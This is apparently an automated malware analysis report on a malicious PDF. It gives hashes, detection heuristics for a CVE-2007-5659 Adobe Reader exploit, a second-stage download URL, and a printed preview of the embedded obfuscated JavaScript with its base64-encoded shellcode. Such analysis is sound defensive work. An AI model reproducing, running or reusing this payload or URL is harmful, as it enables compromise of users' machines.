Malicious PDF — malware analysis report

Static analysis result for SHA-256 40b148d30e949863…

MALICIOUS

PDF

3.0 KB First seen: 2026-05-08
MD5: 32b545d63e8b43c476991e3456b290d7 SHA-1: 59057049762e01fc4820fd8881ea1c9f473012c7 SHA-256: 40b148d30e949863849ba371602865ab78f2c35483036291acdddc76704a158d
258 Risk Score

Malware Insights

MITRE ATT&CK
T1204.002 Malicious File: User Execution

The PDF file contains embedded JavaScript, flagged by multiple heuristics including a high-confidence ML classifier. The JavaScript stream, named 'javascript_obj0009_000.js', is likely responsible for downloading and executing a second-stage payload. The ML classifier's strong positive prediction indicates a high likelihood of malicious intent.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 8

  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • JavaScript action low 3 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
          output = output + String.fromCharCode(chr1);
  • PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Generic recovered JavaScript exploit stage high PDF_GENERIC_STAGE_RECOVERY
    Bounded static stage recovery exposed hidden JavaScript through generic transforms such as null-byte collapse, percent decoding, marker replacement, arithmetic character codes, fromCharCode, numeric arrays, numeric-array minus-key decoders, alphabet-index arrays, /Producer half-difference metadata arrays, hex literals, marker-stripped Base64 literals, custom 6-bit XOR table decoders, or repeated-marker hex carriers. This rule is emitted only when the recovered stage contains exploit-like Acrobat JavaScript or shellcode markers.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://lovsexx.ru/sv/getexe.php?spl=pdf_exp Referenced by PDF JavaScript

Related samples 4

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0009_000.js pdf-javascript-stream PDF /JS object 9 at offset 0xD6 21273 bytes
SHA-256: 35fbfd6fc4515bf0f6b8b9e1c579cb9175248590c7bfe25e31a51b67e38c4140
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 3 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var keyXXXStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
function decode64(input) {
   var output = "";
   var chr1, chr2, chr3;
   var enc1, enc2, enc3, enc4;
   var i = 0;
   input = input.replace(/[^A-Za-z0-9\+\/\=]/g, "");
   do {
      enc1 = keyXXXStr.indexOf(input.charAt(i++));
      enc2 = keyXXXStr.indexOf(input.charAt(i++));
      enc3 = keyXXXStr.indexOf(input.charAt(i++));
      enc4 = keyXXXStr.indexOf(input.charAt(i++));
      chr1 = (enc1 << 2) | (enc2 >> 4);
      chr2 = ((enc2 & 15) << 4) | (enc3 >> 2);
      chr3 = ((enc3 & 3) << 6) | enc4;
      output = output + String.fromCharCode(chr1);
      if (enc3 != 64) {
         output = output + String.fromCharCode(chr2);
      }
      if (enc4 != 64) {
         output = output + String.fromCharCode(chr3);
      }
   } while (i < input.length);
   return output;
}
var aasd = decode64("DQogdmFyIGV1WnRNTnVCVDAgPSBuZXcgQXJyYXkoKTsNCiB2YXIgdGRRajBjRjVKcTsNCiB2YXIgbGF2ZSA9IGV2YWw7DQogIGxhdmUodW5lc2NhcGUoIiUyMCUyMCUyMCU2NiU3NSU2ZSU2MyU3NCU2OSU2ZiU2ZSUyMCU1NyU0ZiUzOSU2YSU2NSU2NiU1MyUzOSU2NiU2MiUyOCU1MyU0ZSU1NyU3YSU0NyU3MyU0ZCU0MiUzNSU3MCUyYyUyMCU1YSU2NSU1MyU2ZCU0ZiU2MyU0ZiU2NCU2NyU2OSUyOSUyMCUyMCUyMCU3YiUyMCUyMCUyMCUyMCUyMCU3NyU2OCU2OSU2YyU2NSUyOCU1MyU0ZSU1NyU3YSU0NyU3MyU0ZCU0MiUzNSU3MCUyZSU2YyU2NSU2ZSU2NyU3NCU2OCUyMCUyYSUyMCUzMiUyMCUzYyUyMCU1YSU2NSU1MyU2ZCU0ZiU2MyU0ZiU2NCU2NyU2OSUyOSUyMCUyMCUyMCUyMCUyMCU3YiUyMCUyMCUyMCUyMCUyMCUyMCUyMCU1MyU0ZSU1NyU3YSU0NyU3MyU0ZCU0MiUzNSU3MCUyMCUyYiUzZCUyMCU1MyU0ZSU1NyU3YSU0NyU3MyU0ZCU0MiUzNSU3MCUzYiUyMCUyMCUyMCUyMCUyMCU3ZCUyMCUyMCUyMCUyMCUyMCU1MyU0ZSU1NyU3YSU0NyU3MyU0ZCU0MiUzNSU3MCUyMCUzZCUyMCU1MyU0ZSU1NyU3YSU0NyU3MyU0ZCU0MiUzNSU3MCUyZSU3MyU3NSU2MiU3MyU3NCU3MiU2OSU2ZSU2NyUyOCUzMCUyYyUyMCU1YSU2NSU1MyU2ZCU0ZiU2MyU0ZiU2NCU2NyU2OSUyMCUyZiUyMCUzMiUyOSUzYiUyMCUyMCUyMCUyMCUyMCU3MiU2NSU3NCU3NSU3MiU2ZSUyMCU1MyU0ZSU1NyU3YSU0NyU3MyU0ZCU0MiUzNSU3MCUzYiUyMCUyMCUyMCU3ZCUyMCUyMCIpKTsgIGxhdmUodW5lc2NhcGUoIiUyMCUyMCUyMCUyMCU2NiU3NSU2ZSU2MyU3NCU2OSU2ZiU2ZSUyMCU1MyU1OSUzNyU2NCU0OSU2YiU0YSU2YiU3NCU3OSUyOCU1YSU0YSU0ZCU3MyU0OSU2NCU2YyU2NiU3MCU3MCUyOSUyMCUyMCUyMCU3YiUyMCUyMCUyMCUyMCUyMCU2OSU2NiUyOCU1YSU0YSU0ZCU3MyU0OSU2NCU2YyU2NiU3MCU3MCUyMCUzZCUzZCUyMCUzMCUyOSUyMCUyMCUyMCUyMCUyMCU3YiUyMCUyMCUyMCUyMCUyMCUyMCUyMCU3NiU2MSU3MiUyMCU0MyU0MSU1NSU3OCU3NyU3MyU1YSU0YyU1NyU0NiUyMCUzZCUyMCUzMCU3OCUzMCU2MyUzMCU2MyUzMCU2MyUzMCU2MyUzYiUyMCUyMCUyMCUyMCUyMCUyMCUyMCU3NiU2MSU3MiUyMCU3NyUzMiU2ZiUzMCU2NSUzOCU3NCU3OCU3MiU2ZSUyMCUzZCUyMCUyMCU3NSU2ZSU2NSU3MyU2MyU2MSU3MCU2NSUyOCUyMiUyNSU3NSU0MyUzMCUzMyUzMyUyNSU3NSUzOCU0MiUzNiUzNCUyNSU3NSUzMyUzMCUzNCUzMCUyNSU3NSUzMCU0MyUzNyUzOCUyNSU3NSUzNCUzMCUzOCU0MiUyNSU3NSUzOCU0MiUzMCU0MyUyNSU3NSUzMSU0MyUzNyUzMCUyNSU3NSUzOCU0MiU0MSU0NCUyNSU3NSUzMCUzOCUzNSUzOCUyNSU3NSUzMCUzOSU0NSU0MiUyNSU3NSUzNCUzMCUzOCU0MiUyNSU3NSUzOCU0NCUzMyUzNCUyNSU3NSUzNyU0MyUzNCUzMCUyNSU3NSUzNSUzOCUzOCU0MiUyNSU3NSUzNiU0MSUzMyU0MyUyNSU3NSUzNSU0MSUzNCUzNCUyNSU3NSU0NSUzMiU0NCUzMSUyNSU3NSU0NSUzMiUzMiU0MiUyNSU3NSU0NSU0MyUzOCU0MiUyNSU3NSUzNCU0NiU0NSU0MiUyNSU3NSUzNSUzMiUzNSU0MSUyNSU3NSU0NSU0MSUzOCUzMyUyNSU3NSUzOCUzOSUzNSUzNiUyNSU3NSUzMCUzNCUzNSUzNSUyNSU3NSUzNSUzNyUzNSUzNiUyNSU3NSUzNyUzMyUzOCU0MiUyNSU3NSUzOCU0MiUzMyU0MyUyNSU3NSUzMyUzMyUzNyUzNCUyNSU3NSUzMCUzMyUzNyUzOCUyNSU3NSUzNSUzNiU0NiUzMyUyNSU3NSUzNyUzNiUzOCU0MiUyNSU3NSUzMCUzMyUzMiUzMCUyNSU3NSUzMyUzMyU0NiUzMyUyNSU3NSUzNCUzOSU0MyUzOSUyNSU3NSUzNCUzMSUzNSUzMCUyNSU3NSUzMyUzMyU0MSU0NCUyNSU3NSUzMyUzNiU0NiU0NiUyNSU3NSU0MiU0NSUzMCU0NiUyNSU3NSUzMCUzMyUzMSUzNCUyNSU3NSU0NiUzMiUzMyUzOCUyNSU3NSUzMCUzOCUzNyUzNCUyNSU3NSU0MyU0NiU0MyUzMSUyNSU3NSUzMCUzMyUzMCU0NCUyNSU3NSUzNCUzMCU0NiU0MSUyNSU3NSU0NSU0NiU0NSU0MiUyNSU3NSUzMyU0MiUzNSUzOCUyNSU3NSUzNyUzNSU0NiUzOCUyNSU3NSUzNSU0NSU0NSUzNSUyNSU3NSUzNCUzNiUzOCU0MiUyNSU3NSUzMCUzMyUzMiUzNCUyNSU3NSUzNiUzNiU0MyUzMyUyNSU3NSUzMCU0MyUzOCU0MiUyNSU3NSUzOCU0MiUzNCUzOCUyNSU3NSUzMSU0MyUzNSUzNiUyNSU3NSU0NCUzMyUzMCUzMyUyNSU3NSUzMCUzNCUzOCU0MiUyNSU3NSUzMCUzMyUzOCU0MSUyNSU3NSUzNSU0NiU0MyUzMyUyNSU3NSUzNSUzMCUzNSU0NSUyNSU3NSUzOCU0NCU0MyUzMyUyNSU3NSUzMCUzOCUzNyU0NCUyNSU3NSUzNSUzMiUzNSUzNyUyNSU3NSUzMyUzMyU0MiUzOCUyNSU3NSUzOCU0MSU0MyU0MSUyNSU3NSU0NSUzOCUzNSU0MiUyNSU3NSU0NiU0NiU0MSUzMiUyNSU3NSU0NiU0NiU0NiU0NiUyNSU3NSU0MyUzMCUzMyUzMiUyNSU3NSU0NiUzNyUzOCU0MiUyNSU3NSU0MSU0NSU0NiUzMiUyNSU3NSU0MiUzOCUzNCU0NiUyNSU3NSUzMiU0NSUzNiUzNSUyNSU3NSUzNyUzOCUzNiUzNSUyNSU3NSUzNiUzNiU0MSU0MiUyNSU3NSUzNiUzNiUzOSUzOCUyNSU3NSU0MiUzMCU0MSU0MiUyNSU3NSUzOCU0MSUzNiU0MyUyNSU3NSUzOSUzOCU0NSUzMCUyNSU3NSUzNiUzOCUzNSUzMCUyNSU3NSUzNiU0NSUzNiU0NiUyNSU3NSUzNiUzNCUzMiU0NSUyNSU3NSUzNyUzNSUzNiUzOCUyNSU3NSUzNiU0MyUzNyUzMiUyNSU3NSUzNSUzNCUzNiU0NCUyNSU3NSUzOCU0NSU0MiUzOCUyNSU3NSUzMCU0NSUzNCU0NSUyNSU3NSU0NiU0NiU0NSU0MyUyNSU3NSUzMCUzNCUzNSUzNSUyNSU3NSUzNSUzMCUzOSUzMyUyNSU3NSU0MyUzMCUzMyUzMyUyNSU3NSUzNSUzMCUzNSUzMCUyNSU3NSUzOCU0MiUzNSUzNiUyNSU3NSUzMCUzNCUzNSUzNSUyNSU3NSU0MyUzMiUzOCUzMyUyNSU3NSUzOCUzMyUzNyU0NiUyNSU3NSUzMyUzMSU0MyUzMiUyNSU3NSUzNSUzMCUzNSUzMiUyNSU3NSUzMyUzNiU0MiUzOCUyNSU3NSUzMiU0NiUzMSU0MSUyNSU3NSU0NiU0NiUzNyUzMCUyNSU3NSUzMCUzNCUzNSUzNSUyNSU3NSUzMyUzMyUzNSU0MiUyNSU3NSUzNSUzNyU0NiU0NiUyNSU3NSU0MiUzOCUzNSUzNiUyNSU3NSU0NiU0NSUzOSUzOCUyNSU3NSUzMCU0NSUzOCU0MSUyNSU3NSUzNSUzNSU0NiU0NiUyNSU3NSUzNSUzNyUzMCUzNCUyNSU3NSU0NSU0NiU0MiUzOCUyNSU3NSU0NSUzMCU0MyU0NSUyNSU3NSU0NiU0NiUzNiUzMCUyNSU3NSUzMCUzNCUzNSUzNSUyNSU3NSUzNyUzNCUzNiUzOCUyNSU3NSUzNyUzMCUzNyUzNCUyNSU3NSUzMiU0NiUzMyU0MSUyNSU3NSUzNiU0MyUzMiU0NiUyNSU3NSUzNyUzNiUzNiU0NiUyNSU3NSUzNiUzNSUzNyUzMyUyNSU3NSUzNyUzOCUzNyUzOCUyNSU3NSUzNyUzMiUzMiU0NSUyNSU3NSUzMiU0NiUzNyUzNSUyNSU3NSUzNyUzNiUzNyUzMyUyNSU3NSUzNiUzNyUzMiU0NiUyNSU3NSUzNyUzNCUzNiUzNSUyNSU3NSUzNyUzOCUzNiUzNSUyNSU3NSUzMiU0NSUzNiUzNSUyNSU3NSUzNiUzOCUzNyUzMCUyNSU3NSUzMyU0NiUzNyUzMCUyNSU3NSUzNyUzMCUzNyUzMyUyNSU3NSUzMyU0NCUzNiU0MyUyNSU3NSUzNiUzNCUzNyUzMCUyNSU3NSUzNSU0NiUzNiUzNiUyNSU3NSUzNyUzOCUzNiUzNSUyNSU3NSUzMCUzMCUzNyUzMCUyMiUyOSUzYiUyMCUyMCUyMCUyMCUyMCU3ZCUyMCUyMCUyMCUyMCUyMCU2NSU2YyU3MyU2NSUyMCU2OSU2NiUyOCU1YSU0YSU0ZCU3MyU0OSU2NCU2YyU2NiU3MCU3MCUyMCUzZCUzZCUyMCUzMSUyOSUyMCUyMCUyMCUyMCUyMCU3YiUyMCUyMCUyMCUyMCUyMCUyMCUyMCU0MyU0MSU1NSU3OCU3NyU3MyU1YSU0YyU1NyU0NiUyMCUzZCUyMCUzMCU3OCUzMyUzMCUzMyUzMCUzMyUzMCUzMyUzMCUzYiUyMCUyMCUyMCUyMCUyMCUyMCUyMCU3NiU2MSU3MiUyMCU3NyUzMiU2ZiUzMCU2NSUzOCU3NCU3OCU3MiU2ZSUyMCUzZCUyMCUyMCU3NSU2ZSU2NSU3MyU2MyU2MSU3MCU2NSUyOCUyMiUyNSU3NSU0MyUzMCUzMyUzMyUyNSU3NSUzOCU0MiUzNiUzNCUyNSU3NSUzMyUzMCUzNCUzMCUyNSU3NSUzMCU0MyUzNyUzOCUyNSU3NSUzNCUzMCUzOCU0MiUyNSU3NSUzOCU0MiUzMCU0MyUyNSU3NSUzMSU0MyUzNyUzMCUyNSU3NSUzOCU0MiU0MSU0NCUyNSU3NSUzMCUzOCUzNSUzOCUyNSU3NSUzMCUzOSU0NSU0MiUyNSU3NSUzNCUzMCUzOCU0MiUyNSU3NSUzOCU0NCUzMyUzNCUyNSU3NSUzNyU0MyUzNCUzMCUyNSU3NSUzNSUzOCUzOCU0MiUyNSU3NSUzNiU0MSUzMyU0MyUyNSU3NSUzNSU0MSUzNCUzNCUyNSU3NSU0NSUzMiU0NCUzMSUyNSU3NSU0NSUzMiUzMiU0MiUyNSU3NSU0NSU0MyUzOCU0MiUyNSU3NSUzNCU0NiU0NSU0MiUyNSU3NSUzNSUzMiUzNSU0MSUyNSU3NSU0NSU0MSUzOCUzMyUyNSU3NSUzOCUzOSUzNSUzNiUyNSU3NSUzMCUzNCUzNSUzNSUyNSU3NSUzNSUzNyUzNSUzNiUyNSU3NSUzNyUzMyUzOCU0MiUyNSU3NSUzOCU0MiUzMyU0MyUyNSU3NSUzMyUzMyUzNyUzNCUyNSU3NSUzMCUzMyUzNyUzOCUyNSU3NSUzNSUzNiU0NiUzMyUyNSU3NSUzNyUzNiUzOCU0MiUyNSU3NSUzMCUzMyUzMiUzMCUyNSU3NSUzMyUzMyU0NiUzMyUyNSU3NSUzNCUzOSU0MyUzOSUyNSU3NSUzNCUzMSUzNSUzMCUyNSU3NSUzMyUzMyU0MSU0NCUyNSU3NSUzMyUzNiU0NiU0NiUyNSU3NSU0MiU0NSUzMCU0NiUyNSU3NSUzMCUzMyUzMSUzNCUyNSU3NSU0NiUzMiUzMyUzOCUyNSU3NSUzMCUzOCUzNyUzNCUyNSU3NSU0MyU0NiU0MyUzMSUyNSU3NSUzMCUzMyUzMCU0NCUyNSU3NSUzNCUzMCU0NiU0MSUyNSU3NSU0NSU0NiU0NSU0MiUyNSU3NSUzMyU0MiUzNSUzOCUyNSU3NSUzNyUzNSU0NiUzOCUyNSU3NSUzNSU0NSU0NSUzNSUyNSU3NSUzNCUzNiUzOCU0MiUyNSU3NSUzMCUzMyUzMiUzNCUyNSU3NSUzNiUzNiU0MyUzMyUyNSU3NSUzMCU0MyUzOCU0MiUyNSU3NSUzOCU0MiUzNCUzOCUyNSU3NSUzMSU0MyUzNSUzNiUyNSU3NSU0NCUzMyUzMCUzMyUyNSU3NSUzMCUzNCUzOCU0MiUyNSU3NSUzMCUzMyUzOCU0MSUyNSU3NSUzNSU0NiU0MyUzMyUyNSU3NSUzNSUzMCUzNSU0NSUyNSU3NSUzOCU0NCU0MyUzMyUyNSU3NSUzMCUzOCUzNyU0NCUyNSU3NSUzNSUzMiUzNSUzNyUyNSU3NSUzMyUzMyU0MiUzOCUyNSU3NSUzOCU0MSU0MyU0MSUyNSU3NSU0NSUzOCUzNSU0MiUyNSU3NSU0NiU0NiU0MSUzMiUyNSU3NSU0NiU0NiU0NiU0NiUyNSU3NSU0MyUzMCUzMyUzMiUyNSU3NSU0NiUzNyUzOCU0MiUyNSU3NSU0MSU0NSU0NiUzMiUyNSU3NSU0MiUzOCUzNCU0NiUyNSU3NSUzMiU0NSUzNiUzNSUyNSU3NSUzNyUzOCUzNiUzNSUyNSU3NSUzNiUzNiU0MSU0MiUyNSU3NSUzNiUzNiUzOSUzOCUyNSU3NSU0MiUzMCU0MSU0MiUyNSU3NSUzOCU0MSUzNiU0MyUyNSU3NSUzOSUzOCU0NSUzMCUyNSU3NSUzNiUzOCUzNSUzMCUyNSU3NSUzNiU0NSUzNiU0NiUyNSU3NSUzNiUzNCUzMiU0NSUyNSU3NSUzNyUzNSUzNiUzOCUyNSU3NSUzNiU0MyUzNyUzMiUyNSU3NSUzNSUzNCUzNiU0NCUyNSU3NSUzOCU0NSU0MiUzOCUyNSU3NSUzMCU0NSUzNCU0NSUyNSU3NSU0NiU0NiU0NSU0MyUyNSU3NSUzMCUzNCUzNSUzNSUyNSU3NSUzNSUzMCUzOSUzMyUyNSU3NSU0MyUzMCUzMyUzMyUyNSU3NSUzNSUzMCUzNSUzMCUyNSU3NSUzOCU0MiUzNSUzNiUyNSU3NSUzMCUzNCUzNSUzNSUyNSU3NSU0MyUzMiUzOCUzMyUyNSU3NSUzOCUzMyUzNyU0NiUyNSU3NSUzMyUzMSU0MyUzMiUyNSU3NSUzNSUzMCUzNSUzMiUyNSU3NSUzMyUzNiU0MiUzOCUyNSU3NSUzMiU0NiUzMSU0MSUyNSU3NSU0NiU0NiUzNyUzMCUyNSU3NSUzMCUzNCUzNSUzNSUyNSU3NSUzMyUzMyUzNSU0MiUyNSU3NSUzNSUzNyU0NiU0NiUyNSU3NSU0MiUzOCUzNSUzNiUyNSU3NSU0NiU0NSUzOSUzOCUyNSU3NSUzMCU0NSUzOCU0MSUyNSU3NSUzNSUzNSU0NiU0NiUyNSU3NSUzNSUzNyUzMCUzNCUyNSU3NSU0NSU0NiU0MiUzOCUyNSU3NSU0NSUzMCU0MyU0NSUyNSU3NSU0NiU0NiUzNiUzMCUyNSU3NSUzMCUzNCUzNSUzNSUyNSU3NSUzNyUzNCUzNiUzOCUyNSU3NSUzNyUzMCUzNyUzNCUyNSU3NSUzMiU0NiUzMyU0MSUyNSU3NSUzNiU0MyUzMiU0NiUyNSU3NSUzNyUzNiUzNiU0NiUyNSU3NSUzNiUzNSUzNyUzMyUyNSU3NSUzNyUzOCUzNyUzOCUyNSU3NSUzNyUzMiUzMiU0NSUyNSU3NSUzMiU0NiUzNyUzNSUyNSU3NSUzNyUzNiUzNyUzMyUyNSU3NSUzNiUzNyUzMiU0NiUyNSU3NSUzNyUzNCUzNiUzNSUyNSU3NSUzNyUzOCUzNiUzNSUyNSU3NSUzMiU0NSUzNiUzNSUyNSU3NSUzNiUzOCUzNyUzMCUyNSU3NSUzMyU0NiUzNyUzMCUyNSU3NSUzNyUzMCUzNyUzMyUyNSU3NSUzMyU0NCUzNiU0MyUyNSU3NSUzNiUzNCUzNyUzMCUyNSU3NSUzNSU0NiUzNiUzNiUyNSU3NSUzNyUzOCUzNiUzNSUyNSU3NSUzMCUzMCUzNyUzMCUyMiUyOSUzYiUyMCUyMCUyMCUyMCUyMCU3ZCUyMCUyMCUyMCUyMCUyMCU2NSU2YyU3MyU2NSUyMCU2OSU2NiUyOCU1YSU0YSU0ZCU3MyU0OSU2NCU2YyU2NiU3MCU3MCUyMCUzZCUzZCUyMCUzMiUyOSUyMCUyMCUyMCUyMCUyMCU3YiUyMCUyMCUyMCUyMCUyMCUyMCUyMCU3NiU2MSU3MiUyMCU3NyUzMiU2ZiUzMCU2NSUzOCU3NCU3OCU3MiU2ZSUyMCUzZCUyMCUyMCU3NSU2ZSU2NSU3MyU2MyU2MSU3MCU2NSUyOCUyMiUyNSU3NSU0MyUzMCUzMyUzMyUyNSU3NSUzOCU0MiUzNiUzNCUyNSU3NSUzMyUzMCUzNCUzMCUyNSU3NSUzMCU0MyUzNyUzOCUyNSU3NSUzNCUzMCUzOCU0MiUyNSU3NSUzOCU0MiUzMCU0MyUyNSU3NSUzMSU0MyUzNyUzMCUyNSU3NSUzOCU0MiU0MSU0NCUyNSU3NSUzMCUzOCUzNSUzOCUyNSU3NSUzMCUzOSU0NSU0MiUyNSU3NSUzNCUzMCUzOCU0MiUyNSU3NSUzOCU0NCUzMyUzNCUyNSU3NSUzNyU0MyUzNCUzMCUyNSU3NSUzNSUzOCUzOCU0MiUyNSU3NSUzNiU0MSUzMyU0MyUyNSU3NSUzNSU0MSUzNCUzNCUyNSU3NSU0NSUzMiU0NCUzMSUyNSU3NSU0NSUzMiUzMiU0MiUyNSU3NSU0NSU0MyUzOCU0MiUyNSU3NSUzNCU0NiU0NSU0MiUyNSU3NSUzNSUzMiUzNSU0MSUyNSU3NSU0NSU0MSUzOCUzMyUyNSU3NSUzOCUzOSUzNSUzNiUyNSU3NSUzMCUzNCUzNSUzNSUyNSU3NSUzNSUzNyUzNSUzNiUyNSU3NSUzNyUzMyUzOCU0MiUyNSU3NSUzOCU0MiUzMyU0MyUyNSU3NSUzMyUzMyUzNyUzNCUyNSU3NSUzMCUzMyUzNyUzOCUyNSU3NSUzNSUzNiU0NiUzMyUyNSU3NSUzNyUzNiUzOCU0MiUyNSU3NSUzMCUzMyUzMiUzMCUyNSU3NSUzMyUzMyU0NiUzMyUyNSU3NSUzNCUzOSU0MyUzOSUyNSU3NSUzNCUzMSUzNSUzMCUyNSU3NSUzMyUzMyU0MSU0NCUyNSU3NSUzMyUzNiU0NiU0NiUyNSU3NSU0MiU0NSUzMCU0NiUyNSU3NSUzMCUzMyUzMSUzNCUyNSU3NSU0NiUzMiUzMyUzOCUyNSU3NSUzMCUzOCUzNyUzNCUyNSU3NSU0MyU0NiU0MyUzMSUyNSU3NSUzMCUzMyUzMCU0NCUyNSU3NSUzNCUzMCU0NiU0MSUyNSU3NSU0NSU0NiU0NSU0MiUyNSU3NSUzMyU0MiUzNSUzOCUyNSU3NSUzNyUzNSU0NiUzOCUyNSU3NSUzNSU0NSU0NSUzNSUyNSU3NSUzNCUzNiUzOCU0MiUyNSU3NSUzMCUzMyUzMiUzNCUyNSU3NSUzNiUzNiU0MyUzMyUyNSU3NSUzMCU0MyUzOCU0MiUyNSU3NSUzOCU0MiUzNCUzOCUyNSU3NSUzMSU0MyUzNSUzNiUyNSU3NSU0NCUzMyUzMCUzMyUyNSU3NSUzMCUzNCUzOCU0MiUyNSU3NSUzMCUzMyUzOCU0MSUyNSU3NSUzNSU0NiU0MyUzMyUyNSU3NSUzNSUzMCUzNSU0NSUyNSU3NSUzOCU0NCU0MyUzMyUyNSU3NSUzMCUzOCUzNyU0NCUyNSU3NSUzNSUzMiUzNSUzNyUyNSU3NSUzMyUzMyU0MiUzOCUyNSU3NSUzOCU0MSU0MyU0MSUyNSU3NSU0NSUzOCUzNSU0MiUyNSU3NSU0NiU0NiU0MSUzMiUyNSU3NSU0NiU0NiU0NiU0NiUyNSU3NSU0MyUzMCUzMyUzMiUyNSU3NSU0NiUzNyUzOCU0MiUyNSU3NSU0MSU0NSU0NiUzMiUyNSU3NSU0MiUzOCUzNCU0NiUyNSU3NSUzMiU0NSUzNiUzNSUyNSU3NSUzNyUzOCUzNiUzNSUyNSU3NSUzNiUzNiU0MSU0MiUyNSU3NSUzNiUzNiUzOSUzOCUyNSU3NSU0MiUzMCU0MSU0MiUyNSU3NSUzOCU0MSUzNiU0MyUyNSU3NSUzOSUzOCU0NSUzMCUyNSU3NSUzNiUzOCUzNSUzMCUyNSU3NSUzNiU0NSUzNiU0NiUyNSU3NSUzNiUzNCUzMiU0NSUyNSU3NSUzNyUzNSUzNiUzOCUyNSU3NSUzNiU0MyUzNyUzMiUyNSU3NSUzNSUzNCUzNiU0NCUyNSU3NSUzOCU0NSU0MiUzOCUyNSU3NSUzMCU0NSUzNCU0NSUyNSU3NSU0NiU0NiU0NSU0MyUyNSU3NSUzMCUzNCUzNSUzNSUyNSU3NSUzNSUzMCUzOSUzMyUyNSU3NSU0MyUzMCUzMyUzMyUyNSU3NSUzNSUzMCUzNSUzMCUyNSU3NSUzOCU0MiUzNSUzNiUyNSU3NSUzMCUzNCUzNSUzNSUyNSU3NSU0MyUzMiUzOCUzMyUyNSU3NSUzOCUzMyUzNyU0NiUyNSU3NSUzMyUzMSU0MyUzMiUyNSU3NSUzNSUzMCUzNSUzMiUyNSU3NSUzMyUzNiU0MiUzOCUyNSU3NSUzMiU0NiUzMSU0MSUyNSU3NSU0NiU0NiUzNyUzMCUyNSU3NSUzMCUzNCUzNSUzNSUyNSU3NSUzMyUzMyUzNSU0MiUyNSU3NSUzNSUzNyU0NiU0NiUyNSU3NSU0MiUzOCUzNSUzNiUyNSU3NSU0NiU0NSUzOSUzOCUyNSU3NSUzMCU0NSUzOCU0MSUyNSU3NSUzNSUzNSU0NiU0NiUyNSU3NSUzNSUzNyUzMCUzNCUyNSU3NSU0NSU0NiU0MiUzOCUyNSU3NSU0NSUzMCU0MyU0NSUyNSU3NSU0NiU0NiUzNiUzMCUyNSU3NSUzMCUzNCUzNSUzNSUyNSU3NSUzNyUzNCUzNiUzOCUyNSU3NSUzNyUzMCUzNyUzNCUyNSU3NSUzMiU0NiUzMyU0MSUyNSU3NSUzNiU0MyUzMiU0NiUyNSU3NSUzNyUzNiUzNiU0NiUyNSU3NSUzNiUzNSUzNyUzMyUyNSU3NSUzNyUzOCUzNyUzOCUyNSU3NSUzNyUzMiUzMiU0NSUyNSU3NSUzMiU0NiUzNyUzNSUyNSU3NSUzNyUzNiUzNyUzMyUyNSU3NSUzNiUzNyUzMiU0NiUyNSU3NSUzNyUzNCUzNiUzNSUyNSU3NSUzNyUzOCUzNiUzNSUyNSU3NSUzMiU0NSUzNiUzNSUyNSU3NSUzNiUzOCUzNyUzMCUyNSU3NSUzMyU0NiUzNyUzMCUyNSU3NSUzNyUzMCUzNyUzMyUyNSU3NSUzMyU0NCUzNiU0MyUyNSU3NSUzNiUzNCUzNyUzMCUyNSU3NSUzNSU0NiUzNiUzNiUyNSU3NSUzNyUzOCUzNiUzNSUyNSU3NSUzMCUzMCUzNyUzMCUyMiUyOSUzYiUyMCUyMCUyMCUyMCUyMCU3ZCUyMCUyMCUyMCUyMCUyMCU3NiU2MSU3MiUyMCU2YyU0NSUzNyU0OSUzNyU1MCU3NyU3MyUzNSU2YyUyMCUzZCUyMCUzMCU3OCUzNCUzMCUzMCUzMCUzMCUzMCUzYiUyMCUyMCUyMCUyMCUyMCU3NiU2MSU3MiUyMCU1MyU1OSU3NiU0MyU1NyU3MyUzNSUzNiU0NSU2MiUyMCUzZCUyMCU3NyUzMiU2ZiUzMCU2NSUzOCU3NCU3OCU3MiU2ZSUyZSU2YyU2NSU2ZSU2NyU3NCU2OCUyMCUyYSUyMCUzMiUzYiUyMCUyMCUyMCUyMCUyMCU3NiU2MSU3MiUyMCU1YSU2NSU1MyU2ZCU0ZiU2MyU0ZiU2NCU2NyU2OSUyMCUzZCUyMCU2YyU0NSUzNyU0OSUzNyU1MCU3NyU3MyUzNSU2YyUyMCUyZCUyMCUyOCU1MyU1OSU3NiU0MyU1NyU3MyUzNSUzNiU0NSU2MiUyMCUyYiUyMCUzMCU3OCUzMyUzOCUyOSUzYiUyMCUyMCUyMCUyMCUyMCU3NiU2MSU3MiUyMCU1MyU0ZSU1NyU3YSU0NyU3MyU0ZCU0MiUzNSU3MCUyMCUzZCUyMCU3NSU2